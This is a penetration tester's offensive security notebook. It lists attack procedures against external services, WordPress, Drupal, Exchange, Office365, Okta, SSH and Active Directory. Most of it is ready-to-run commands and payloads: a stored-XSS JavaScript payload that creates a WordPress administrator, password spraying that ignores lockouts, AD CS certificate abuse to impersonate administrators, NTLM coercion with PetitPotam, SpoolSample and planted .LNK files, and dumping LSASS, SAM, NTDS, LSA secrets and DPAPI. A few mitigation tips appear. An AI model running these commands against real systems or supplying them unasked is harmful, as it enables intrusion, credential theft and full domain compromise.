# Tactics, Techniques, and Procedures

Tactics, Techniques, and Procedures (TTPs)

[![License](https://img.shields.io/badge/license-GPL3-lightgrey.svg)](https://www.gnu.org/licenses/gpl-3.0.en.html) [![Twitter URL](https://img.shields.io/twitter/follow/FreeZeroDays?label=FreeZeroDays%20%20%F0%9F%90%A6\&style=flat-square)](https://twitter.com/FreeZeroDays)

My big mess of offensive security notes and miscellaneous resources. In similar fashion to other resources of this nature, all commands documented have been manually verified as working and l33t at the time of documentation.

This was inspired by both [snovvcrash](https://github.com/snovvcrash) and [sneakerhax](https://github.com/sneakerhax)'s offensive note collections. I highly recommend checking them out if you're looking for additional resources!

{% hint style="warning" %}
DISCLAIMER. All information contained in this blog is provided for educational and research purposes only. The author is not responsible for any illegal use of any information published on the pages of this blog.
{% endhint %}

{% embed url="<https://github.com/FreeZeroDays>" %}
GitHub Profile
{% endembed %}

{% embed url="<https://parzival.sh>" %}
Personal Blog
{% endembed %}


# Fortress

Notes on attacking the fortress (external perimiter)


# Automation

### Introduction

While automation should not be relied on too heavily, it can assist when scanning the external perimiter of an organization during a penetration test to quickly identify low-hanging fruits. In this specific instance, I am referring to Nuclei from Project Discovery, however, other tooling to automate your penetration tests exists such as leveraging a vulnerability scanner like Burp Suite's Active Scan or Nessus.&#x20;

### Nuclei

To further improve your penetration test workflow, creating custom templates with Nuclei is highly recommended for common findings. For example, during a penetration test I observed several devices leveraging the same default credentials - a check for this can be quickly automated using Nuclei's scanner:

```yaml
id: yealink-default-login

info:
  name: Yealink CTP18 - Default Login
  author: parzival
  severity: high
  description: |
    Yealink CTP18 Default Administrator Credentials Discovered.
  reference:
    - https://support.yealink.com
  metadata:
    fofa-query: Yealink CTP18
    max-request: 1
    verified: true
  tags: default-login,yealink

http:
  - raw:
      - |
        POST /api/auth/login?p=Login&t=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json, text/plain, */*

        username={{username}}&pwd={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - '0000'

    host-redirects: true
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"ret":"ok","data":"ok"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
```


# Cisco


# Cisco Adaptive Security Appliance

### Cisco Adaptive Security Appliance (ASA)

**CVE-2020-3452**

{% embed url="<https://github.com/cygenta/CVE-2020-3452>" %}

```bash
# Validate with Metasploit
use auxiliary/scanner/http/cisco_directory_traversal
```

List of files from some light reverse engineering of a Cisco ASA device:

```bash
+CSCOCA+/ca_inc.lua
+CSCOCA+/crl/asa_ca.crl
+CSCOCA+/enroll.html
+CSCOCA+/login.html
+CSCOE+/041235123432C2
+CSCOE+/041235123432U2
+CSCOE+/app_index.html
+CSCOE+/appstart.js
+CSCOE+/appstatus
+CSCOE+/ask.html
+CSCOE+/auth.html
+CSCOE+/autosignon_api.js
+CSCOE+/blank.html
+CSCOE+/cedf.html
+CSCOE+/cedhelp.html
+CSCOE+/ced.html
+CSCOE+/cedlogon.html
+CSCOE+/cedmain.html
+CSCOE+/cedportal.html
+CSCOE+/cedsave.html
+CSCOE+/cert.html
+CSCOE+/color_picker.html
+CSCOE+/color_picker.js
+CSCOE+/common.js
+CSCOE+/commonspawn.js
+CSCOE+/display_bookmarks.lua
+CSCOE+/files/browse.html
+CSCOE+/files/domains_retr
+CSCOE+/files/file_action.html
+CSCOE+/files/files.js
+CSCOE+/files/files_retr
+CSCOE+/files/webfolder
+CSCOE+/files/wfolder
+CSCOE+/gp-gip.html
+CSCOE+/handler
+CSCOE+/help/webvpn_help
+CSCOE+/home/index.html
+CSCOE+/http_auth.html
+CSCOE+/include/browser_inc.lua
+CSCOE+/include/common.lua
+CSCOE+/include/plugin.lua
+CSCOE+/lced.html
+CSCOE+/load_bookmarks.lua
+CSCOE+/localization_inc.lua
+CSCOE+/logo.gif
+CSCOE+/logon_custom.css
+CSCOE+/logon_forms.js
+CSCOE+/logon.html
+CSCOE+/logon.html
+CSCOE+/logon_redirect.html
+CSCOE+/logout.html
+CSCOE+/message.html
+CSCOE+/noportal.html
+CSCOE+/nostcaccess.html
+CSCOE+/no_svc.html
+CSCOE+/ping.html
+CSCOE+/pluginlib.js
+CSCOE+/portal_ce.html
+CSCOE+/portal.css
+CSCOE+/portal_custom.css
+CSCOE+/portal_elements.html
+CSCOE+/portal_forms.js
+CSCOE+/portal.html
+CSCOE+/portal_inc.lua
+CSCOE+/portal.js
+CSCOE+/posturl.html
+CSCOE+/preview.html
+CSCOE+/relayjar.html
+CSCOE+/relaymonjar.html
+CSCOE+/relaymonocx.html
+CSCOE+/relayocx.html
+CSCOE+/running.conf
+CSCOE+/saml/sp/acs
+CSCOE+/saml/sp/login
+CSCOE+/saml/sp/metadata
+CSCOE+/save_capture.html
+CSCOE+/sdesktop/fail.html
+CSCOE+/sdesktop/logout.html
+CSCOE+/sdesktop/scan.xml
+CSCOE+/sdesktop/tokenrenew.xml
+CSCOE+/sdesktop/token.xml
+CSCOE+/sdesktop/wait.html
+CSCOE+/sdesktop/webstart.xml
+CSCOE+/session.js
+CSCOE+/session_password.html
+CSCOE+/sess_update.html
+CSCOE+/shshim
+CSCOE+/shshimdo_url
+CSCOE+/smart_tunnel_install.html
+CSCOE+/st_dl.json
+CSCOE+/svc.html
+CSCOE+/tlbr
+CSCOE+/tlbrportal_forms.js
+CSCOE+/tunnel_linux.jnlp
+CSCOE+/tunnel_mac.html
+CSCOE+/tunnel_mac.jnlp
+CSCOE+/useralert.html
+CSCOE+/user_dialog.html
+CSCOE+/win.js
+CSCOE+/wrong_url.html
+CSCOL+/cte_fallback.js
+CSCOL+/cte.js
+CSCOL+/relayparam.js
+CSCOL+/sw.js
+CSCOL+/xsl.js
CSCOSSLC/config-auth
+CSCOT+/oem-customization
+CSCOT+/translation
+CSCOT+/translation-table
+CSCOU+/anyconnect_unsupported_version.html
+CSCOU+/anyconnect_wrong_url.html
+CSCOU+/portal.css
+CSCOU+/sample.html
locale/manifest_data.lua
```

#### CVE-2020-3580

If you have compromised a valid users session to Cisco ASA you can recover plaintext credentials leveraging the following exploit:

{% embed url="<https://github.com/catatonicprime/CVE-2020-3580>" %}


# Cisco Smart Install

### Enumeration

The default port for Cisco Smart Install is 4786/tcp and can be discovered via Nmap:

```bash
nmap -p4786 -sV $host

PORT      STATE  SERVICE
4786/tcp  open   smart-install
```

### Exploitation

{% embed url="<https://github.com/frostbits-security/SIET>" %}


# CMS


# Drupal

### Enumeration

After identifying a Drupal site, one of the first pieces of information you should try to identify is the version of Drupal running:

```bash
curl -s https://parzival.sh/CHANGELOG.txt 
```

#### Droopescan

```bash
droopescan scan drupal -u https://parzival.sh
```

{% embed url="<https://github.com/SamJoan/droopescan>" %}

### Exploitation

#### Drupalgeddon

Older installations of Drupal are vulnerable to a remote code execution vulnerability dubbed "Drupalgeddon". There is a Metasploit module which works well for exploiting this vulnerability:

```bash
use exploit/unix/webapp/drupal_drupalgeddon2
```

{% embed url="<https://www.rapid7.com/blog/post/2018/04/27/drupalgeddon-vulnerability-what-is-it-are-you-impacted/>" %}


# Wordpress

### WPScan

```bash
# Default enumeration
wpscan --url https://parzival.sh/ 

# Enumerate usernames
wpscan --url https://parzival.sh/ -e u 

# Bruteforce Wordpress
wpscan --url https://parzival.sh/ -U $usernamelist -P $passwordlist
```

{% embed url="<https://github.com/wpscanteam/wpscan>" %}

### Turning XSS to RCE

When identifying a Wordpress site that is vulnerable to cross-site scripting, there are some well documented payloads and resources out there which increase the severity if an Administrator were to trigger the payload. For example, if a stored cross-site scripting vulnerability affects a plugin. The following is a snippet of a Hakluke payload linked below which attempts to create a new administrator user:

```javascript
var wp_root = "" // don't add a trailing slash
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
```

{% embed url="<https://ibreak.software/2016/07/xss-to-rce-using-wordpress-as-an-example/>" %}

{% embed url="<https://shift8web.ca/2018/01/craft-xss-payload-create-admin-user-in-wordpress-user/>" %}

{% embed url="<https://github.com/hakluke/weaponised-XSS-payloads>" %}


# Exchange

### Enumeration

#### ExchangeFinder

[ExchangeFinder](https://github.com/mhaskar/ExchangeFinder) is a tool that attempts to identify Microsoft Exchange instances for a given domain based on the top common DNS names for Microsoft Exchange. Additionally, ExchangeFinder can identify the version of Microsoft Exchange utilized by the target.

```bash
# ExchangeFinder basic usage
python3 exchangefinder.py --domain $domain
```

#### Enumerating Users Manually

```markup
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: exch01.parzival.sh
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
Authorization: Basic Q09OVE9TT1x1c2VyMDE6UEBzc3cwcmQ=
Content-Length: 341
Content-Type: text/xml

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>$email</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
```

### References

{% embed url="<https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/>" %}


# Office365

A list of tools and resources that I use for password spraying Microsoft products.

### Password Spraying Office365

#### TrevorSpray

When using TrevorSpray, consider important factors such as the delay. In my experience, setting the delay to around 100 seconds across multiple hosts has not resulted in a delay ever.&#x20;

```bash
# Installation
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

# Perform recon against a domain
trevorspray --recon $domain

# Enumerate users via OneDrive
trevorspray --recon $domain -u $emails --threads 3

# Spray with a 10 second delay between requests
trevorspray -u $validemails -p 'Winter2022!' --delay 10

# Spray with two robins and the current system
trevorspray -u $validemails -p 'Winter2022!' --ssh root@$robin root@$robin

# Spray while ignoring account lockout (good for overnight attacks)
trevorspray -u $validemails -p $passwords --ignore-lockouts
```

### Identifying Emails without OSINT

{% embed url="<https://github.com/blacklanternsecurity/TREVORspray#example-find-valid-usernames-without-osint-d>" %}

### References

{% embed url="<https://www.sprocketsecurity.com/resources/how-to-bypass-mfa-all-day>" %}


# Okta

### Password Spraying

Password spraying Okta is just as easy as password spraying any other service, however, visibility can be difficult at times as Okta does not display if a user has been locked out. For this reason, it is recommended to configure password spray tooling to have longer lockouts, ensuring there are no business disruptions.

#### Spraying Okta with TrevorSpray

```bash
# Installation
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

# Password Spraying
trevorspray -m okta -u $users -p $password
```

{% hint style="info" %}
After submitting the above command, TrevorSpray will ask for the subdomain of the company you're targeting $`.okta.com` This should have been identified during the reconaissance phase and is often `$companyname.okta.com`.&#x20;
{% endhint %}

#### Spraying Okta with CredMaster

```bash
# https://github.com/knavesec/CredMaster

python3 credmaster.py --plugin -u $users -p $passwords -a $useragents --config $config
```

CredMaster requires AWS access keys to setup FireProx, the following guide can be used to configure the appropriate permissions and start spraying:

{% embed url="<https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b>" %}


# Outlook Web Access (OWA)

### Password Spraying OWA

#### Metasploit

```bash
# OWA brute force utility
use auxiliary/scanner/http/owa_login

# OWA Exchange Web Services (EWS) login scanner
use auxiliary/scanner/http/owa_ews_login
```

#### Ruler

```bash
# Brute force credentials
./ruler --domain $domain brute --users $userfile --passwords $passwordfile

# Stop after first valid credentials found
./ruler --domain $domain brute --users $userfile --passwords $passwordfile --stop

# Brute force credentials with a delay
./ruler --domain $domain brute --users $userfile --passwords $passwordfile --delay 2 --attempts 2
```

### References

{% embed url="<https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell>" %}

{% embed url="<https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying>" %}


# SSH

### Enumerate

```bash
## https://github.com/jtesta/ssh-audit
# Audit the configuration of an SSH server
ssh-audit.py $ip -p $port

# Enumerate SSH server ciphers with Nmap
nmap --script=ssh2-enum-algos $ip -p $port

# Enumerate if password authentication is enabled
nmap --script=ssh-auth-methods $ip -p $port
```

### Password Spraying

```bash
## https://github.com/lanjelot/patator
# Password spraying example using Patator
patator ssh_login host=$ip user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’

# Password spraying using CrackMapExec
crackmapexec ssh $ip -u $userfile -p $passwordfile

# Metasploit
use auxiliary/scanner/ssh/ssh_login 
```


# Subdomain Takeover

MITRE ATT\&CK, Resource Development, Sub-technique T1584.001

A subdomain takeover occurs if a subdomain is configured to a 3rd party service but is no longer registered. If we are able to create an account in the identified 3rd party and register the domain, we can potentially host content on the subdomain.

### Can I Take Over XYZ

This repository should be a goto for anyone attempting a subdomain takeover. This repository will identify is the service you have identified is vulnerable to a subdomain takeover and if so, provide detailed steps on how to exploit it and potentially host content.&#x20;

{% embed url="<https://github.com/EdOverflow/can-i-take-over-xyz>" %}

### dnsReaper

DNSReaper is an automated subdomain takeover tool that tests with known takeover signatures. While you shouldn't rely on a tool to do the job, this tool does a pretty good job and I'd highly recommend it if performing a quick sweep.&#x20;

```bash
# Run with Python against a single domain
python3 main.py single --domain $domain

# Run with Python against multiple domains
python3 main.py file --filename $domains

# Run with Docker against a single domain
docker run punksecurity/dnsreaper single --domain $domain
```

{% embed url="<https://github.com/punk-security/dnsReaper>" %}

### Subjack

Subjack is a subndomain takeover tool written in Go.&#x20;

```bash
# Identify subdomains with a tool such as subfinder
subfinder -dL subdomains.txt --silent | tee -a subdomains.out

# Run subjack against list
subjack -w subdomains.out -ssl | tee -a takeover | grep -V "Vulnerable"
```

{% embed url="<https://github.com/haccer/subjack>" %}

### References

{% embed url="<https://www.hackerone.com/application-security/guide-subdomain-takeovers>" %}


# Infrastructure


# Active Directory


# AD CS

Active Directory Certificate Services (AD CS) is a feature of Active Directory that allows a desginated server to issue certificates. This assists in helping environments leverage and deploy the security advantages of using certificate-based authentication.

For a way more well explained blog on exploiting AD CS, I highly recommend checking out [SpecterOps' article](https://posts.specterops.io/certified-pre-owned-d95910965cd2).&#x20;

Additionally, notes from the [Relaying section](/pentesting/infrastructure/active-directory/relaying) are essential to understanding the attack chain of AD CS.

## Enumerate AD CS

If we get a hit from these methods then we can browse to the host identified with the  following URL: `http://localhost/certsrv/`

### Certutil

Dump and display certification authority information with Certutil.exe. This utility can be used to quickly identify if there is a certificate authority on the domain for AD CS attacks:

```
Certutil -ping
Certutil.exe -tcainfo
```

### CrackMapExec

```bash
crackmapexec smb $ip -u $username -p $password -M adcs
```

### Certify

When dealing with AD CS, [Ceritfy](https://github.com/GhostPack/Certify) and [Certipy](https://github.com/ly4k/Certipy) are going to be your best friends.&#x20;

```bash
# Identify and list vulnerable templates with Certipy
certipy find -u $username -p $password -dc-ip $dcip -vulnerable

# Identify and list vulnerable templates with Certify
Certify.exe find /vulnerable
```

## Exploitation

The following section builds off of several available repositories that are referenced at the bottom of this page. There are multiple ways to exploit vulnerable certificate templates so I highly recommend searching through red team wikis and blogs to find one that may be specific for your use case.&#x20;

#### EDITF\_ATTRIBUTESUBJECTALTNAME2 (ESC6)

> If this attribute is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

The above quote from Microsoft in attacker-speak means that we can then enroll in **any** template configured for domain authentication that also allows unprivileged users to enroll. This would allow the attacker to obtain a certificate that then allows them to authenticate as any user/machine on the domain.&#x20;

{% hint style="info" %}
This setting is disabled by default.&#x20;
{% endhint %}

This setting, like many others in this section can be discovered and exploited #through using [Certify](https://github.com/GhostPack/Certify).&#x20;

```bash
# Find all enabled certificate templates:
Certify.exe find

# Abuse a cerificate with this setting configured 
Certify.exe request /ca:CA01.oasis.local\CorpCA /template:User /altname:$impersonateuser
```

### Exploiting ESC1

```bash
## https://github.com/ly4k/Certipy
### It should be noted that information such as the CA, target, and template name can all be identified from running the certipy find command.

pip3 install certipy-ad
certipy find -u parz@oasis.local -p $password -dc-ip $dcip
certipy req -username parz@oasis.local -password $password -ca $ca -target $cahost -template $templatename -upn administrator@oasis.local -dns dc.oasis.local
certipy auth -pfx administrator_dc.pfx -dc-ip $dcip
```

## Mitigation

One of the easiest ways to assist in detecting exploitation of AD CS is to enable Certificate Authority logging. By default, AD CS does not enable logging by default, which in the case of an incident will prevent an organization from responding. This can be easily remediated:

```bash
# Enable CA Logging
certutil.exe -setreg CA\AuditFilter 127
```

Additionally, it is recommended to perform regular auditing with tools such as Certify/Certipy or PSPKIAudit to detect vulnerable certificate templates:

{% embed url="<https://github.com/GhostPack/PSPKIAudit>" %}

## References

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates>" %}

{% embed url="<https://posts.specterops.io/certified-pre-owned-d95910965cd2>" %}

{% embed url="<https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786426(v=ws.11)>" %}

{% embed url="<https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/>" %}


# Coercing Authentication

### Harvest NTLMv2/v1 Hashes with Write Access to Shares

The [following example](https://twitter.com/mpgn_x64/status/1453018750253424643?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1453018750253424643%7Ctwgr%5E0fe6e46bc61c94f27278793c3b0620a3c2ed5bd6%7Ctwcon%5Es1_\&ref_url=https%3A%2F%2Fcdn.iframe.ly%2Fo0HzCyi%3Fapp%3D1) demonstrates performing this attack with CrackMapExec, however, it can also be performed by crafting a custom `.LNK` file.

1\. Enumerate the hosts shares

```bash
crackmapexec smb $ip -u $username -p $password --shares
```

2\. Create a malicious .LNK file calling back to your Responder.py IP

```bash
crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=[ResponderIP]
```

3\. After waiting and (hopefully) obtaining several NTLM hashes, cleanup the malicious file

```bash
crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=$responder_ip CLEANUP=True
```

#### Notes

* Put an underscore as the first character in the file name (e.g., `NAME=_bonus.xlsx` and it will put the file at the top of the directory, making it more likely to render and send a hash to the malicious server.&#x20;

### The Printer Bug&#x20;

If a machine that we have compromised is configured with [unconstrained delegation](/pentesting/infrastructure/active-directory/delegation-abuse/unconstrained-delegation) we are able to capture any of the TGTs from machines/accounts that have authenticated to it. If we're able to obtain a TGT from a machine account, we can craft service tickets and obtain administrative access to it - this also works for domain controllers.&#x20;

It should be noted that in order to successfully exploit the printer bug, we must have already obtained a session as or valid domain user credentials.&#x20;

#### Enumerate Print Spooler Service

Enumerate Print Spooler service with ItWasAllADream:

```bash
# Enumerate Print Spooler with ItWasALlADream
docker run -it itwasalladream -u $username -p $password -d $domain $target -v

# Enumerate with CrackMapExec
crackmapexec smb $ip -u $username -p $password -M spooler

# Enumerate Print Spooler with Impacket
python rpcdump.py @$target | egrep 'MS-RPRN|MS-PAR'

# SpoolerScan.ps1
.\SpoolerScan.ps1
```

#### Exploiting the Printer Bug with [SpoolSample.exe](https://github.com/leechristensen/SpoolSample)

1\. We first need to monitor for any new TGTs on the system that has unconstrained delegation configured. Rubeus provides us with the handy functionality to accomplish this:

```bash
.\Rubeus.exe monitor /targetuser:$machineaccount /interval:5 /nowrap
```

2\. We can then execute `SpoolSample.exe` on the host to coerce authentication:

```bash
.\SpoolSample.exe $target $attacker
```

3\. After running `SpoolSample.exe` we should then aobserve a TGT on the attacker controlled system.

#### Remotely Exploiting the Printer Bug

* [Dementor.py](https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py)
* [Printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)

Alternatively, we can accomplish this same exploitation path remotely using Impacket's ntlmrelayx to relay the credentials:

```bash
# Exploiting the Printerbug with Dementor.py
dementor.py -d $domain -u $username -p $password $attackerip $targetfqdn

# Exploiting the Printerbug with Printerbug.py
python printerbug.py $domain/$username:$password@$targetfqdn $attackerip

# Relay the authentication attempt to the target server
 ntlmrelayx.py -smb2support -t smb://$targetx
```

### PetitPotam

While [PetitPotam](https://github.com/topotam/PetitPotam) itself has been rendered a little redundant due to tools like Coercer accomplishing the same, yet more. It is still important to discuss as it's still all that's needed to [compromise a significant amount](https://blog.zsec.uk/chasing-the-silver-petit-potam/) of Active Directory environments. One of the most simple yet effective attack paths with PetitPotam would look like the following:

1\. The tester first identifies all of the domain controllers in the domain, this can be done either through DNS or by identifying common ports associated with DC's such as 88/tcp.&#x20;

2\. Modify the configuration of your Responder installation so that the challenge paramter is set to the following value and run Responder in Analyze mode with the `--lm` flag to attempt to downgrade the authentication:

```bash
# Responder Challenge Attribute
1122334455667788

# Run Responder with 
responder -I $interface -A --lm 
```

3\. The tester can then attempt to force authentication from the domain controllers to the attacker controlled server using PetitPotam:

```bash
python3 PetitPotam.py $listenerip $targetip
```

4\. The output received should look like the following:

```bash
[SMB] NTLMv1 Client   : 10.0.0.5
[SMB] NTLMv1 Username : OASIS\PARZDC$
[SMB] NTLMv1 Hash     : PARZDC$::OASIS:FFJSFOE[SNIP]
```

5\. With the NTLMv1 hash now retrieved, the tester can utilize the [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) tool to obtain the appropriate format for cracking:

```bash
ntlmv1.py --ntlmv1 PARZDC$::OASIS:FFJSFOE[SNIP]
```

6\. This hash can then be cracked via Hashcat with the instructions displayed on screen or alternatively can be submitted to [crack.sh](https://crack.sh).&#x20;

### Trigger NTLM Authentication over HTTP

```bash
## https://twitter.com/n00py1/status/1481385989025280000?s=20&t=rMzsQI6ENH2SYVVaTYTqAA
Invoke-WebRequest -UseDefaultCredentials
```

### Coercer

[Coercer](https://github.com/p0dalirius/Coercer) is a Python script which automagically attempt to coerce an arbitrary machine to an attacker controlled device in several ways.

```bash
# Basic use of Coercer.py
Coercer.py -d $domain -u $username -p $password --listener $attackerip --target $targetip
```

### References

{% embed url="<https://www.praetorian.com/blog/active-directory-computer-account-smb-relaying-attack/>" %}


# Credential Dumping

MITRE ATT\&CK, Credential Access, ID TA0006


# Cached Domain Credentials

MITRE ATT\&CK, Credential Access, Sub-technique T1003.005

With SYSTEM access, an attacker can dump cached credentials with Mimikatz or Secretsdump. Note that DCC hashes take significantly longer to crack than an NT or Net-NTLM hashes. I recommend using a simple password and rule list that has been tailored to your target first.&#x20;

### Cracking

To crack these with Hashcat, the hash needs to be in the following format:

```bash
$DCC2$10240#parzival#e4e938d12fe5974dc42a90120bd9c90f
```

After ensuring the hash is formatted appropriately, they can be cracked with the following command:

```bash
hashcat -m 2100 $dcc_file $wordlist
```

### Mitigations

The following settings can be configured to remove cached domain credentials from LSA Secrets:

```bash
Cached credential set to 0 on servers
Cached credential set to 1 on workstations
```

### References

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>" %}


# Data Protection API (DPAPI)

DPAPI (Data Protection Application Programming Interface) is a Windows operating system feature that provides data protection by encrypting sensitive data using a user's login credentials. DPAPI is used by various applications to protect sensitive information such as passwords, keys, and credentials.

If an attacker gains access to a user's login credentials, they can use DPAPI to decrypt the protected data. Therefore, DPAPI is a valuable target for attackers looking to gain access to sensitive information.

```bash
# Dumping DPAPI with CrackMapExec
## Requires Local Administrator privileges 
crackmapexec smb $ip -u $user -p $password --dpapi

# Dumping DPPAI with Mimikatz
sekurlsa::dpapi
```

### References

{% embed url="<https://docs.google.com/viewerng/viewer?url=https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf>" %}


# Group Policy Preferences

MITRE ATT\&CK, Credential Access, Sub-technique T1552.006

Unsecured credentials in Group Policy Preferences (GPP) can be an easy way to obtain credentials and escalate privileges. GPP's are stored in SYSVOL on domain controllers. However, the real kicker is that any domain user can view the SYSVOL share, obtain the password, and decrypt it within seconds.

```powershell
# Enumerating credentials directory on the SYSVOL share
dir /s * .xml

# Enumerating credentials remotely from SYSVOL
dir /s \\[FQN]\SYSVOL\[FQDN\ | more

# Enumerating credentials remotely using CrackMapExec
crackmapexec smb $ip -u $username -p $password -M gpp_password

# Enumerating credentials remotely using Metasploit
use auxiliary/scanner/smb/smb_enum_gpp
set rhosts $ip
set SMBUser $username
set SMBPass $password
run
```


# LSA Secrets

MITRE ATT\&CK, Credential Access, Sub-technique T1003.004

> LSA secrets are stored in the registry at `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`. LSA secrets can also be dumped from memory.

```bash
# Dumping LSA Secrets remotely with CrackMapExec
crackmapexec smb $ip -u $user -p $password --lsa

# Dumping LSA Secrets with Mimikatz
lsadump::secrets

# Dumping LSA Secrets manually and then reading them with Mimikatz
reg save HKLM\SYSTEM system & reg save HKLM\security security
lsadump::secrets /system:c:\temp\system /security:c:\temp\security
```

### Mitigations

When cleartext credentials are retrieved from LSA Secrets it is due to the credentials being stored for a service (E.g., creating a service with a custom user account).

To mitigate this issue, avoid using a domain account for the service. Best practice is to avoid using a domain user account for services. Rather, create a local account to run the service. If specific domain user rights are needed then create an account with the *specific* rights required. It should also be stated to **never** use a domain administrator account for a service.

### References

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets>" %}

{% embed url="<https://www.sentinelone.com/blog/windows-security-essentials-preventing-4-common-methods-of-credentials-exfiltration>" %}

{% embed url="<https://www.passcape.com/index.php?cmd=details&id=23&section=docsys>" %}


# LSASS Memory

MITRE ATT\&CK, Credential Access, Sub-technique T1003.001

> Adversaries commonly abuse the [Local Security Authority Subsystem Service](https://attack.mitre.org/techniques/T1003/001/) (LSASS) to dump credentials for privilege escalation, data theft, and lateral movement. The process is a fruitful target for adversaries because of the sheer amount of sensitive information it stores in memory.

### Dumping LSASS

```bash
# Dumping LSASS remotely with CrackMapExec
crackmapexec smb $ip -u $username -p $password -M lsassy

# Dumping LSASS with Mimikatz
sekurlsa::logonPasswords
```

### Dumping LSASS without Mimikatz

```bash
## https://twitter.com/inversecos/status/1450331995112804358?s=20&t=rMzsQI6ENH2SYVVaTYTqAA
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id Temp\output.dmp full;Wait-Process -Id (Get-Process rundll32).id
```

### References

{% embed url="<https://redcanary.com/threat-detection-report/techniques/lsass-memory/>" %}

{% embed url="<https://attack.mitre.org/techniques/T1003/001/>" %}


# NTDS

The NTDS.dit file (NTDS) is a database which stores confidential Active Directory information such as usernames, objects, groups, and password hashes. Once the NTDS.dit file has been retrieved, an attacker can effectively impersonate any member of the domain. This file is stored on domain controllers, meaning that full domain compromise has to occur in order to retrieve it.

### Exploitation

CrackMapExec and Impacket are  the easiest ways to remotely dump the NTDS.dit after Domain Administrator credentials have been obtained:

```bash
# CrackMapExec
crackmapexec smb -u $user -p $password -ntds 

# Impacket
impacket-secretsdump -just-dc-ntlm oasis/administrator@$dcip
```

Alternatively, [an attacker can dump the NTDS.dit manually](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration) if they have a shell on a Domain Controller:&#x20;

```bash
# Dump the NTDS
# It should be noted that this works on older machines when Secretsdump and vssadmin fail
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

# Dump the password hashes offline 
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

# LOLBIN 
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\Windows\Tasks\ntds.dit
```

### References

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration>" %}


# Security Account Manager (SAM)

MITRE ATT\&CK, Credential Access, Sub-technique T1003.002

The Security Accounts Manager (SAM) is a database file in Windows that contains usernames and passwords for local accounts, typically those identified from the `net user` command.

The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command.

```bash
# Manually extracting the SAM
reg save HKLM\sam sam
reg save HKLM\system system

# Analyzing extracted files
samdump2 system sam 

# Dumping the SAM remotely with CrackMapExec
crackmapexec smb $ip -u $username -p $password --sam

# Dumping the SAM with Mimikatz
mimikatz lsadump::sam    
```

It is also possible to [dump the SAM file via esentutl.exe](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-sam-via-esentutl.exe) which comes installed by default with Windows:

```bash
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\sam
```

### References

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry>" %}

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-sam-via-esentutl.exe>" %}


# Kerberos Tickets

MITRE ATT\&CK, Credential Access, Technique T1558

### Stealing Kerberos Tickets on Linux

Kerberos Credential Cache (ccache) files contain Kerberos credentials for the domain user that has authenticated to the Linux machine, this is often a cached TGT. These are referred to as a Linux Cached Credential and are stored in `/tmp` and can be exfiltrated by an attacker to request service tickets.

```bash
# Upon compromising a Linux system we identify a ccache file in /tmp
ls /tmp

-rw------- 1 parzival  domain users 1342 May  18 14:39 krb5cc_1337_TejHnF

# We can then download this ticket to our local machine and convert the ticket from ccache to kirbi
python3 ticketConverter krb5cc_1337_TejHnF parzival.kirbi
```


# Unsecured Credentials

MITRE ATT\&CK, Credential Access, Technique T1552

